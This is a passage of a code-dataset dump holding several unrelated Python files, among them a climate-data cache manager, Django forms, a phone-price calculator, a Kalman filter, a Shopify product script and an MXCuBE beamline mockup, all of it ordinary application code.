\"{}\"'.format(len(cache_entries), uid_hash))\n\n for x in xrange(cache_entries.count()):\n entry = cache_entries[x]\n\n logger.info('Checking cache entry with dimensions \"{}\"'.format(entry.dimensions))\n \n if not entry.valid:\n logger.info('Cache entry hash \"{}\" with dimensions \"{}\" invalid'.format(entry.uid, entry.dimensions))\n\n entry.delete()\n \n continue\n\n if entry.is_superset(domain):\n logger.info('Cache entry is a superset of the requested domain')\n\n return entry\n\n return None\n\n def check_cache(self, dataset):\n uid = '{}:{}'.format(dataset.url, dataset.variable_name)\n\n uid_hash = hashlib.sha256(uid).hexdigest()\n\n domain = self.generate_dataset_domain(dataset)\n\n logger.info('Checking cache for \"{}\" with domain \"{}\"'.format(uid_hash, domain))\n\n cache = self.get_cache_entry(uid_hash, domain)\n\n if cache is None:\n logger.info('Creating cache file for \"{}\"'.format(dataset.url))\n\n dimensions = json.dumps(domain, default=models.slice_default)\n\n cache = models.Cache.objects.create(uid=uid_hash, url=dataset.url, dimensions=dimensions)\n\n mode = 'w'\n else:\n logger.info('Using cache file \"{}\" as input'.format(cache.local_path))\n\n mode = 'r'\n\n try:\n cache_obj = cdms2.open(cache.local_path, mode)\n except cdms2.CDMSError as e:\n logger.exception('Error opening cache file \"{}\"'.format(cache.local_path))\n\n cache.delete()\n\n return None\n\n if mode == 'r':\n dataset.close()\n\n dataset.file_obj = cache_obj\n\n return None\n \n return cache, cache_obj\n\n def partitions(self, domain, skip_cache, axis=None):\n logger.info('Sorting datasets')\n\n self.datasets = sorted(self.datasets, key=lambda x: x.get_time().units)\n\n base_units = self.datasets[0].get_time().units\n\n if axis is None:\n axis = self.datasets[0].get_time().id\n\n logger.info('Generating paritions over axis \"{}\" caching {}'.format(axis, not skip_cache))\n\n base_units = None\n\n for ds in self.datasets:\n cache = None\n cache_obj = None\n\n if base_units is None:\n base_units = ds.get_time().units\n\n try:\n ds.map_domain(domain, base_units)\n except DomainMappingError:\n logger.info('Skipping \"{}\"'.format(ds.url))\n\n continue\n\n if not skip_cache:\n cache_result = self.check_cache(ds)\n\n if cache_result is not None:\n cache, cache_obj = cache_result\n\n for chunk in ds.partitions(axis):\n if cache_obj is not None:\n cache_obj.write(chunk, id=ds.variable_name)\n\n cache_obj.sync()\n\n chunk.getTime().toRelativeTime(base_units)\n\n yield ds, chunk\n\n if cache is not None:\n cache.set_size()\n\nclass FileManager(object):\n def __init__(self, collections):\n self.collections = collections\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n def get_variable_name(self):\n return self.collections[0].datasets[0].variable_name\n\n def partitions(self, domain, axis=None, limit=None):\n if limit is not None:\n for x in xrange(limit, len(self.collections)):\n self.collections[x].close()\n\n self.collections = self.collections[:limit]\n\n collection = self.collections[0]\n\n dataset = collection.datasets[0]\n\n if axis is None:\n axis_data = dataset.get_time()\n else:\n axis_data = dataset.get_axis(axis)\n\n skip_cache = False\n\n if axis_data.isTime():\n axis_index = dataset.get_variable().getAxisIndex(axis_data.id)\n\n axis_partition = dataset.get_variable().getAxis(axis_index+1).id\n\n skip_cache = True\n else:\n axis_partition = dataset.get_time().id\n\n # Was using zip to but it was build entire list of values from generator\n try:\n gens = [x.partitions(domain, skip_cache, axis_partition) for x in self.collections]\n\n while True:\n chunks = [x.next() for x in gens]\n\n yield chunks\n except StopIteration:\n pass\n","sub_path":"compute/wps/tasks/file_manager.py","file_name":"file_manager.py","file_ext":"py","file_size_in_byte":13729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"246632040","text":"#\n# Copyright (c) 2012-2013, Konstantin Shulgin\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n# IN THE SOFTWARE.\n#\n# --------------------------------------------------------------------------- #\n# Import\n# --------------------------------------------------------------------------- #\nimport sys\n\nfrom stream import TinyStream\nfrom differ import TinyDiffer\n\n\n# --------------------------------------------------------------------------- #\n# Classes\n# --------------------------------------------------------------------------- #\n\n#\n# Printer Factory.\n#\nclass TinyPrinterFactory:\n\n # ----------------------------------------------------------------------- #\n # Interface\n # ----------------------------------------------------------------------- #\n\n # Get suite printer.\n def suite_printer(self):\n return TinySuitePrinter()\n\n # Get case printer.\n def case_printer(self):\n return TinyCasePrinter()\n\n\n#\n# Suite printer.\n#\nclass TinySuitePrinter:\n\n # ----------------------------------------------------------------------- #\n # Constants\n # ----------------------------------------------------------------------- #\n\n # Name offset.\n NAME_OFFSET = 24\n\n # Diff offset.\n DIFF_OFFSET = 16\n\n # Diff offset.\n RESULT_OFFSET = 10\n\n # Valgrind offset.\n VALGRIND_OFFSET = 22\n\n # Horizontal line.\n HORIZONT_LINE = \"\".ljust(75,'-')\n\n # ----------------------------------------------------------------------- #\n # Interface\n # ----------------------------------------------------------------------- #\n\n # Print header.\n def print_header(self, name):\n horizont_line = \"\".ljust(75,'-')\n\n # Print suite name.\n sys.stdout.write(\"Suite '%s'\\n\" % (name))\n\n # Print first line.\n sys.stdout.write(\"%s\\n\" % (self.HORIZONT_LINE))\n\n # Print columns names.\n sys.stdout.write(\" \")\n sys.stdout.write(\"%s\" % (\"Name\".ljust(self.NAME_OFFSET, ' ')))\n sys.stdout.write(\"%s\" % (\"Diff\".rjust(self.DIFF_OFFSET, ' ')))\n sys.stdout.write(\"%s\" % (\"Valgrind\".rjust(self.VALGRIND_OFFSET, ' ')))\n sys.stdout.write(\"%s\" % (\"Result\".rjust(self.RESULT_OFFSET, ' ')))\n sys.stdout.write(\"\\n\")\n\n # Print second line.\n sys.stdout.write(\"%s\\n\" % (horizont_line))\n\n # Print suite statistics.\n def print_stats(self, failed, total):\n horizont_line = \"\".ljust(75,'-')\n\n # Print first line.\n sys.stdout.write(\"%s\\n\" % (self.HORIZONT_LINE))\n\n sys.stdout.write(\" Result:\")\n sys.stdout.write(\" passed: %i\" % (total - failed))\n sys.stdout.write(\" failed: %i\" % (failed))\n sys.stdout.write(\" total: %i\" % (total))\n sys.stdout.write(\"\\n\")\n\n # Print footer.\n def print_footer(self):\n horizont_line = \"\".ljust(75,'-')\n # Print footer line.\n sys.stdout.write(\"%s\\n\" % (self.HORIZONT_LINE))\n\n\n#\n# Test case printer.\n#\nclass TinyCasePrinter:\n\n # ----------------------------------------------------------------------- #\n # Constants\n # ----------------------------------------------------------------------- #\n\n # Name offset.\n NAME_OFFSET = 24\n\n # Diff offset.\n DIFF_OFFSET = 16\n\n # Valgrind offset.\n VALGRIND_OFFSET = 22\n\n # Diff offset.\n RESULT_OFFSET = 11\n\n\n # ----------------------------------------------------------------------- #\n # Interface\n # ----------------------------------------------------------------------- #\n\n # Print test name\n def print_name(self, name):\n name_str = name.ljust(self.NAME_OFFSET, ' ')\n sys.stdout.write(\" %s\" % name_str)\n\n # Print diff statistic.\n def print_diff(self, differ):\n diff_str = \"--\"\n if differ is not None and differ.neg + differ.pos > 0:\n diff_str = \"-%i/+%i\" % (differ.neg, differ.pos)\n sys.stdout.write(\"%s\" % (diff_str.rjust(self.DIFF_OFFSET, ' ')))\n\n # Print valgrind statistic.\n def print_valgrind(self, valgrind):\n if valgrind is not None:\n valgrind_str = \"%s\" % valgrind\n else:\n valgrind_str = \"--\"\n sys.stdout.write(\"%s\" % (valgrind_str.rjust(self.VALGRIND_OFFSET, ' ')))\n\n # Print test status\n def print_status(self, status):\n status_str = \"%s\" % status\n sys.stdout.write(\"%s\" % status_str.rjust(self.RESULT_OFFSET, ' '))\n\n # Print end-of-line.\n def print_eol(self):\n sys.stdout.write(\"\\n\");\n","sub_path":"test/lib/tiny_test/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"179644678","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .models import *\n\n\nclass BussForm(forms.ModelForm):\n\n class Meta:\n model = Buss\n '''fields = ( 'selskap',\n 'internnummer',\n 'registreringsnummer',\n 'understellsnummer',\n 'opprinnelig_registreringsnummer',\n 'chassisprodusent',\n 'chassistype',\n 'karosserifabrikk',\n 'karosseritype',\n 'motor',\n 'ytelse',\n 'eier',\n 'byggeår',\n 'lengde',\n 'bredde',\n 'vekt',\n 'akselavstand',\n 'sitteplasser',\n 'ståplasser',\n 'tilstand',\n 'tittel',\n 'beskrivelse',\n 'merknad',)'''\n exclude = ('status', 'lagt_til_av', 'endret_av')\n# class BussBildeForm(forms.Form):\n# title = forms.CharField(max_length=50)\n# bilde = forms.FileField()\n\n\nclass BussBildeForm(forms.ModelForm):\n class Meta:\n model = Bilde\n # fields = ('bilde', 'bildetekst', 'fotograf')\n exclude = ('buss', 'lagt_til_av', 'endret_av')\n\n \nclass BussBildeEndreForm(forms.ModelForm):\n class Meta:\n model = Bilde\n # fields = ('bilde', 'bildetekst', 'fotograf')\n exclude = ('buss', 'bilde', 'lagt_til_av', 'endret_av')\n\n \nclass VegvesenImportForm(forms.Form):\n regnr = forms.CharField(label='Registreringsnummer', max_length=8)\n\n\nclass VegvesenImportFormDiff(forms.Form):\n byggear = forms.BooleanField(label='Byggeår', required=False)\n chassis = forms.BooleanField(label='Chassistype', required=False)\n ytelse = forms.BooleanField(label='Ytelse (Hk)', required=False)\n lengde = forms.BooleanField(label='Lengde', required=False)\n bredde = forms.BooleanField(label='Bredde', required=False)\n akselavstand = forms.BooleanField(label='Akselstand', required=False)\n vekt = forms.BooleanField(label='Egenvekt', required=False)\n sitteplasser = forms.BooleanField(label='Sitteplasser', required=False)\n staplasser = forms.BooleanField(label='Ståplasser', required=False)\n\n\nclass SelskapForm(forms.ModelForm):\n class Meta:\n model = Selskap\n exclude = {'lagt_til', 'endret', 'lagt_til_av', 'endret_av'}\n\n\nclass KarosserifabrikkForm(forms.ModelForm):\n class Meta:\n model = Karosserifabrikk\n exclude = {'lagt_til', 'endret', 'lagt_til_av', 'endret_av'}\n\n\nclass ChassisForm(forms.ModelForm):\n class Meta:\n model = Chassisprodusent\n exclude = {'lagt_til', 'endret', 'lagt_til_av', 'endret_av'}\n\n\nclass ForeningForm(forms.ModelForm):\n class Meta:\n model = Forening\n exclude = {}\n\n\nclass GenericForm(forms.ModelForm):\n #self._meta.model\n class Meta:\n # model = None\n exclude = {'lagt_til', 'endret', 'lagt_til_av', 'endret_av'}\n","sub_path":"bussdatabase/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"526728514","text":"import time\nimport os\n\nstartTime = time.time()\n\n#data = open(\"sample02.in\", \"w\")\n#data.mode = 'a+'\n#results = open(\"scratch.txt\", \"w\") #Clear the file\n#results.mode = \"a+\" #Set mode to append\n#results.write(' PHONE PRICES OVER 24 MONTHS ' + '\\n' + '---------------------------------' + '\\n')\n#print(lines)\n#print(\"[Phone Cost], [Plan Per Month]\", \"\\n\")\n\n\ndef cls():\n os.system('cls' if os.name == 'nt' else 'clear')\n\n\ncls()\n\nwhile True:\n print('Enter data in the following format:')\n print('(PHONE COST) (PLAN COST PER MONTH)')\n print('Example:')\n print('100 95')\n print()\n data = open(\"sample02.in\", \"w\")\n data.mode = 'a+'\n results = open(\"scratch.txt\", \"w\") #Clear the file\n results.mode = \"a+\" #Set mode to append\n results.write(' PHONE PRICES OVER 24 MONTHS ' + '\\n' +\n '---------------------------------' + '\\n')\n while True:\n userInput = input()\n if userInput == 'done':\n data.write('\\n')\n data.close()\n print()\n break\n else:\n data.writelines(str(userInput) + '\\n')\n\n data = open('sample02.in', 'r')\n lines = data.readlines()\n for i in lines[:len(lines) - 1]:\n values = i.split(\" \")\n #print(' '.join(str(i) for i in values), end='')\n phoneCost = int(values[0])\n planCost = int(values[1])\n totalPlanCost = planCost * 24\n totalCost = (phoneCost + totalPlanCost)\n totalCostWithTax = round(totalCost * 1.13)\n #print(\"Total Cost w/o Tax: $\" + str(totalCost))\n #print(\"Total Cost w/ Tax: $\" + str(totalCostWithTax), \"\\n\")\n\n if len(values) > 2:\n for i in range(2, len(values)):\n if i == len(values) - 1:\n results.write(values[i])\n else:\n results.write(values[i] + ' ')\n results.write(\"Phone Price: \" + values[0] + \" | \" +\n \"Plan Price: \" + values[1] + '\\n')\n else:\n results.write(\"Phone Price: \" + values[0] + \" | \" +\n \"Plan Price: \" + values[1])\n results.write(\"Total Cost w/o Tax: $\" + str(totalCost) + '\\n' +\n \"Total Cost w/ Tax: $\" + str(totalCostWithTax) + '\\n')\n results.write('\\n')\n\n results.close()\n\n final = open(\"scratch.txt\", 'r')\n contents = final.read()\n print(contents)\n\n runAgain = input('Run Again? y/n: ')\n if runAgain == 'n':\n print()\n break\n else:\n runAgain = input('Clear Screen? y/n: ')\n if runAgain == 'y':\n cls()\n\nendTime = time.time()\nrunTime = endTime - startTime\nprint('THANK YOU FOR USING PHONE PRICE CALCULATOR 2019')\nprint()\nprint('Run Time: ' + str(runTime) + 'sec')\nprint()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"167678507","text":"from TimeNLP import TimeNormalizer\nfrom LeaveMessage import LeaveMessage\nimport re\nimport arrow\n\ntn = TimeNormalizer()\n\n# 一天工作时间为8小时\nWORK_HOURS = 8\n\n# 上下班时间\nGO_WORK_TIME = \"09:00:00\"\nOFF_WORK_TIME = \"17:00:00\"\n\n\ndef get_start_and_end_and_duration(sentence, message):\n try:\n s_time = message.startDate\n e_time = message.endDate\n duration = message.duration\n pos, res_union = tn.parse(target=sentence)\n # print(pos)\n # print(res)\n # res_union = json.loads(res_union)\n if len(res_union):\n for res in res_union:\n try:\n # print(res)\n if res['type'] == \"timedelta\":\n duration = res['timedelta']\n # print(duration)\n\n elif res['type'] == \"timespan\":\n s_time = res['timespan'][0]\n e_time = res['timespan'][1]\n\n elif res['type'] == \"timestamp\":\n s_time = res['timestamp']\n s_hour = str(s_time).split(' ')[1].split(':')[0]\n # print(s_hour)\n if s_hour == \"00\":\n s_time = str(s_time).split(' ')[0] + ' ' + GO_WORK_TIME\n # print(s_time)\n # print(s_time)\n except:\n duration = duration\n s_time = s_time\n e_time = e_time\n\n a_half_day = re.search(r'(.*)(半)(.*)([天]|[日](.*))', sentence, re.M | re.I)\n more_half_day = re.search(r'((.*)([天]|[日])半(.*))|((.*)(再|还|另外|另)(.*)(加?)半(.*)([天]|[日])(.*))', sentence,\n re.M | re.I)\n # 类似\"一天半\"\n if more_half_day:\n # print(\"more\")\n duration = duration.split(', ')[0] + ', ' + str(int(WORK_HOURS / 2)) + \":00:00\"\n message.duration = duration\n # \"半天\"\n elif a_half_day:\n # print(\"a\")\n duration = \"0 days, \" + str(int(WORK_HOURS / 2)) + \":00:00\"\n message.duration = duration\n\n if s_time is not None and duration is not None:\n t_days = int(duration.split()[0])\n # t_days -= 1\n # print(duration)\n t_hours = duration.split(', ')[1]\n t_hours = int(t_hours.split(':')[0])\n\n # 未填入结束时间\n if e_time is None:\n e_time = s_time\n e_time = arrow.get(e_time).shift(days=+t_days - 1).format('YYYY-MM-DD HH:mm:ss')\n e_time = arrow.get(e_time).shift(hours=+t_hours).format('YYYY-MM-DD HH:mm:ss')\n\n # 结束时间矛盾\n elif e_time != arrow.get(s_time).shift(days=+(t_days - 1)).format('YYYY-MM-DD HH:mm:ss'):\n print(s_time, e_time, duration)\n s_time = None\n e_time = None\n duration = None\n print(\"输入的请假时间矛盾,已清空\")\n\n print(s_time, e_time, duration)\n return s_time, e_time, duration\n except:\n return None, None, None\n\n","sub_path":"getTime.py","file_name":"getTime.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"54004198","text":"from sqlalchemy_serializer import SerializerMixin\nfrom .db import db\n\nclass English(db.Model, SerializerMixin):\n id = db.Column(db.Integer, primary_key=True)\n word_id = db.Column(db.Integer, db.ForeignKey('words.id'), nullable=False)\n text = db.Column(db.String(80), nullable=False)\n\n # parent\n serialize_rules = ('-words',)\n words = db.relationship('Words', back_populates='english')\n\ndef add_english_words(word_id, english_texts):\n for text in english_texts:\n new_english_word = English(word_id=word_id, text=text)\n db.session.add(new_english_word)\n db.session.commit()","sub_path":"datastore/english.py","file_name":"english.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"54044156","text":"from product import *\nfrom inventory import *\nimport numpy as np\nimport csv\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\nfrom bs4 import BeautifulSoup\nimport os.path\nfrom os import path\nfrom random import randrange\n\ni = 0\n\nvendor = 'Fennix'\n\ndef make(current):\n title = str(current[0]['Title'])\n handle = title.replace(' ', '').lower().replace(\"-\", \"\").replace(\"/\", \"\")\n colors = []\n images = []\n sizes = list(current[0].keys())[5:-1]\n global vendor\n \n body = '
    \\n
  • Material: ' + current[0]['Material'] +' Leather
  • \\n
  • Vendor: ' + vendor +'
  • \\n
  • Outer Sole: Leather
  • \\n
  • Comes with original box and dustbag
  • \\n
  • Made in Italy

  • \\n
  • Best quality and price from Brite Creations Atlanta.
  • \\n
'\n if vendor == 'Duca':\n body = body[:-5]\n body += '
  • Duca Shoes generally run about half size bigger than listed. We recommend purchasing a half-size or full size smaller from your normal size.
  • '\n type = 'Dress Shoe'\n price = []\n inventory = np.zeros((15, len(sizes)))\n c = -1\n for row in current:\n c += 1\n for i in range(len(sizes)):\n price.append(row['Price'])\n if row[str(sizes[i])] == 'X':\n inventory[c][i] = 1\n else:\n inventory[c][i] = 0\n colors.append((row['Color'], \"https://raw.githubusercontent.com/abadari3/Shopify-Product-Manager/master/\" + vendor.lower().replace(' ', '') + \"/\" + row['Images'].strip()))\n images.append((\"https://raw.githubusercontent.com/abadari3/Shopify-Product-Manager/master/\" + vendor.lower().replace(' ', '') + \"/\" + row['Images'].strip(), title + \" \" + row['Color']))\n \n inv = []\n i=0\n for row in inventory:\n if i <= c:\n inv.append(row)\n i+=1\n inv = np.array(inv).T\n finv = []\n for a in inv.ravel():\n finv.append((int(a), 0))\n # print(finv)\n tags = []\n sku = []\n for s in sizes:\n for c, i in colors:\n tc = \"color:\" + c\n sku.append((handle+\"-\"+str(s)+\"-\"+c.replace(' ', '')).lower())\n if tc not in tags:\n tags.append(tc)\n tags.append(\"size:\" + str(s))\n\n # print(inventory)\n\n\n seotitle = 'Brite Creations | ' + title + \" \" + type +' by ' + vendor\n seodescription = 'Shop at Brite Creations Atlanta for the best deal on ' + title + \" \" + type +' by ' + vendor + '\\n' + body\n\n return product(handle=handle, title=title, body=body, vendor=vendor, type=type, sizes=sizes, colors=colors, images=images, tags=tags, price=price, seotitle=seotitle, seodescription=seodescription, sku=sku, inventory=finv)\n\n\nproducts = []\nwith open( vendor.upper().replace(' ', '') + \"MISC.csv\", encoding='utf-8-sig') as csvfile:\n reader = csv.DictReader(csvfile)\n prevtitle = ''\n current = []\n for row in reader:\n i += 1\n # print(row)\n if row['Title'] != prevtitle and i != 1 and len(current) != 0:\n products.append(make(current))\n current = [row]\n else:\n current.append(row)\n prevtitle = row['Title']\n products.append(make(current))\n\nfor p in products:\n for c, i in p.colors:\n response = requests.get(i)\n image = Image.open(BytesIO(response.content))\n x, y = image.size\n xl = 0.3*x\n xr = 0.4*x\n yl = .46*y\n yr = .56*y\n\n r=.5\n \n xl = (xl + xr)/2-r*(xr-xl)/2\n xr = (xl + xr)/2+r*(xr-xl)/2\n yl = (yl + yr)/2-r*(yr-yl)/2\n yr = (yl + yr)/2+r*(yr-yl)/2\n image = image.crop((xl, yl, xr, yr))\n pt = \"swatches/\"+ c.lower().replace(' ', '-').replace('/', '-')\n\n if path.exists(pt):\n image.save(pt + str(randrange(10)) +\".png\")\n else:\n image.save(pt +\".png\")\n\n# productstocsv(products)\n# productstoinventory(products)\n","sub_path":"ducafennixemilio.py","file_name":"ducafennixemilio.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"114656618","text":"import time\nfrom SendInfoClass import SendInfo\n\nclass TimeTask(object):\n def run(self):\n execute_time = '30'\n info = SendInfo()\n while True:\n current_time = time.strftime('%S')\n if current_time == execute_time:\n info.send_info()\n time.sleep(1)\n else:\n time.sleep(1)\n\n\n","sub_path":"TimeTaskClass.py","file_name":"TimeTaskClass.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"69595392","text":"# read file\r\nwith open(\"clean_data.csv\", encoding=\"utf8\") as file:\r\n data = file.read().split(\"\\n\")\r\n\r\nheader = data[0]\r\nstudents = data[1:]\r\n\r\ntotal_student = len(students)\r\n\r\n# split header\r\nheader = header.split(\",\")\r\nsubjects = header[5:]\r\n\r\n# turn each student to a list\r\nfor i in range(len(students)):\r\n\tstudents[i] = students[i].split(\",\")\r\n\r\n# remove empty list (end of file)\r\nstudents.pop()\r\n\r\n# number of students who took 0,1,2,3,... subjects\r\nnum_of_exam_taken = [0,0,0,0,0,0,0,0,0,0,0,0]\r\n\r\nfor s in students:\r\n\tcount = 0\r\n\tfor i in range(11):\r\n\t\tif s[i+5] != \"-1\":\r\n\t\t\tcount += 1\r\n\r\n\tnum_of_exam_taken[count] += 1\r\n\r\nprint(num_of_exam_taken)","sub_path":"data_prepare_piechart.py","file_name":"data_prepare_piechart.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"459332326","text":"import numpy as np\r\n\r\nclass KalmanFilter(object):\r\n def __init__(self, dt, u_x, u_y, std_acc, x_std_meas, y_std_meas):\r\n \"\"\"\r\n :param dt: sampling time (time for 1 cycle)\r\n :param u_x: acceleration in x-direction\r\n :param u_y: acceleration in y-direction\r\n :param std_acc: process noise magnitude\r\n :param x_std_meas: standard deviation of the measurement in x-direction\r\n :param y_std_meas: standard deviation of the measurement in y-direction\r\n \"\"\"\r\n # Define sampling time\r\n self.dt = dt\r\n # Define the control input variables\r\n self.u = np.block([[u_x],[u_y]])\r\n # Initial State\r\n # Define the State Transition Matrix A\r\n self.A = np.block([[1, 0, self.dt, 0],\r\n [0, 1, 0, self.dt],\r\n [0, 0, 1, 0],\r\n [0, 0, 0, 1]])\r\n # Define the Control Input Matrix B\r\n self.B = np.block([[(self.dt**2)/2, 0],\r\n [0, (self.dt**2)/2],\r\n [self.dt,0],\r\n [0,self.dt]])\r\n # Define Measurement Mapping Matrix\r\n self.H = np.block([[1, 0, 0, 0],\r\n [0, 1, 0, 0]])\r\n #Initial Process Noise Covariance\r\n self.Q = np.block([[(self.dt**4)/4, 0, (self.dt**3)/2, 0],\r\n [0, (self.dt**4)/4, 0, (self.dt**3)/2],\r\n [(self.dt**3)/2, 0, self.dt**2, 0],\r\n [0, (self.dt**3)/2, 0, self.dt**2]]) * std_acc**2\r\n # Initial Measurement Noise Covariance\r\n self.R = np.block([[x_std_meas**2,0],\r\n [0, y_std_meas**2]])\r\n # Initial Covariance Matrix\r\n\r\n def predict(self, x, P):\r\n # x_k =Ax_(k-1) + Bu_(k-1)\r\n # a priori estimate\r\n x = np.dot(self.A, x) + np.dot(self.B, self.u)\r\n # Calculate error covariance\r\n # P= A*P*A' + Q\r\n P = np.dot(np.dot(self.A, P), self.A.T) + self.Q\r\n return x, P\r\n\r\n\r\n\r\n def update(self, z, x, P):\r\n # S = H*P*H'+R\r\n S = np.dot(self.H, np.dot(P, self.H.T)) + self.R\r\n # Calculate the Kalman Gain\r\n # K = P * H'* inv(S)\r\n K = np.dot(np.dot(P, self.H.T), np.linalg.inv(S))\r\n x = np.round(x + np.dot(K, (z - np.dot(self.H, x))))\r\n I = np.eye(self.H.shape[1])\r\n P = np.dot((I - np.dot(K, self.H)), P)\r\n return x, P\r\n\r\n\r\n","sub_path":"KalmanFilter.py","file_name":"KalmanFilter.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"509949060","text":"import requests\n\nurl = \"http://203.253.128.177:7579/Mobius/healthcare-interworking/emg\"\n\ncin_contents = \"\"\n\npayload = \"{\\n \\\"m2m:cin\\\": {\\n \\\"con\\\": \\\"\" + cin_contents + \"\\\"\\n }\\n}\"\nheaders = {\n 'Accept': 'application/json',\n 'X-M2M-RI': '12345',\n 'X-M2M-Origin': '{{aei}}',\n 'Content-Type': 'application/vnd.onem2m-res+json; ty=4'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n","sub_path":"mobius/make_cin.py","file_name":"make_cin.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"227743050","text":"#\n# Project: MXCuBE\n# https://github.com/mxcube.\n#\n# This file is part of MXCuBE software.\n#\n# MXCuBE is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# MXCuBE is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with MXCuBE. If not, see .\n\nimport os\nimport time\nfrom gevent import spawn\nfrom random import uniform\n\nfrom HardwareRepository.BaseHardwareObjects import HardwareObject\n\n\n__credits__ = [\"MXCuBE colaboration\"]\n__version__ = \"2.2.\"\n\n\nclass MachineInfoMockup(HardwareObject):\n \"\"\"\n Descript. : Displays actual information about the beeamline\n \"\"\"\n\n def __init__(self, name):\n HardwareObject.__init__(self, name)\n \"\"\"\n Descript. :\n \"\"\"\n # Parameters\n # Intensity current ranges\n self.values_list = []\n temp_dict = {}\n temp_dict[\"value\"] = 90.1\n temp_dict[\"value_str\"] = \"90.1 mA\"\n temp_dict[\"in_range\"] = True\n temp_dict[\"title\"] = \"Machine current\"\n temp_dict[\"bold\"] = True\n temp_dict[\"font\"] = 14\n temp_dict[\"history\"] = True\n self.values_list.append(temp_dict)\n\n temp_dict = {}\n temp_dict[\"value\"] = \"Test message\"\n temp_dict[\"in_range\"] = True\n temp_dict[\"title\"] = \"Machine state\"\n self.values_list.append(temp_dict)\n\n temp_dict = {}\n temp_dict[\"value\"] = 24.4\n temp_dict[\"value_str\"] = \"24.4 C\"\n temp_dict[\"in_range\"] = True\n temp_dict[\"title\"] = \"Hutch temperature\"\n self.values_list.append(temp_dict)\n\n temp_dict = {}\n temp_dict[\"value\"] = 64.4\n temp_dict[\"value_str\"] = \"64.4 %\"\n temp_dict[\"in_range\"] = True\n temp_dict[\"title\"] = \"Hutch humidity\"\n self.values_list.append(temp_dict)\n\n temp_dict = {}\n temp_dict[\"value\"] = 4e11\n temp_dict[\"value_str\"] = \"4e+11 ph/s\"\n temp_dict[\"in_range\"] = False\n temp_dict[\"title\"] = \"Flux\"\n self.values_list.append(temp_dict)\n\n temp_dict = {}\n temp_dict[\"value\"] = \"-\"\n temp_dict[\"in_range\"] = True\n temp_dict[\"title\"] = \"Disk space\"\n temp_dict[\"align\"] = \"left\"\n self.values_list.append(temp_dict)\n\n def init(self):\n \"\"\"\n Descript.\n \"\"\"\n self.min_current = self.getProperty(\"min_current\", 80.1)\n self.min_current = self.getProperty(\"max_current\", 90.1)\n\n self.flux_hwobj = self.getObjectByRole(\"flux\")\n self.connect(self.flux_hwobj, \"fluxValueChanged\", self.flux_changed)\n\n self.session_hwobj = self.getObjectByRole(\"session\")\n\n self.update_values()\n spawn(self.change_mach_current)\n\n def update_values(self):\n \"\"\"\n Descript. : Updates storage disc information, detects if intensity\n and storage space is in limits, forms a value list\n and value in range list, both emited by qt as lists\n Arguments : -\n Return : -\n \"\"\"\n self.emit(\"valuesChanged\", self.values_list)\n\n def get_current(self):\n return self.values_list[0][\"value\"]\n\n def get_current_value(self):\n \"\"\"\n Descript. :\n \"\"\"\n return self.values_list[0][\"value\"]\n\n def get_message(self):\n \"\"\"\n Descript :\n \"\"\"\n return self.values_list[1][\"value\"]\n\n def change_mach_current(self):\n while True:\n self.values_list[0][\"value\"] = uniform(self.min_current, self.min_current)\n self.values_list[0][\"value_str\"] = \"%.1f mA\" % self.values_list[0][\"value\"]\n\n self.update_disk_space()\n self.update_values()\n time.sleep(5)\n\n def flux_changed(self, value):\n self.values_list[4][\"value\"] = value\n self.values_list[4][\"in_range\"] = value > 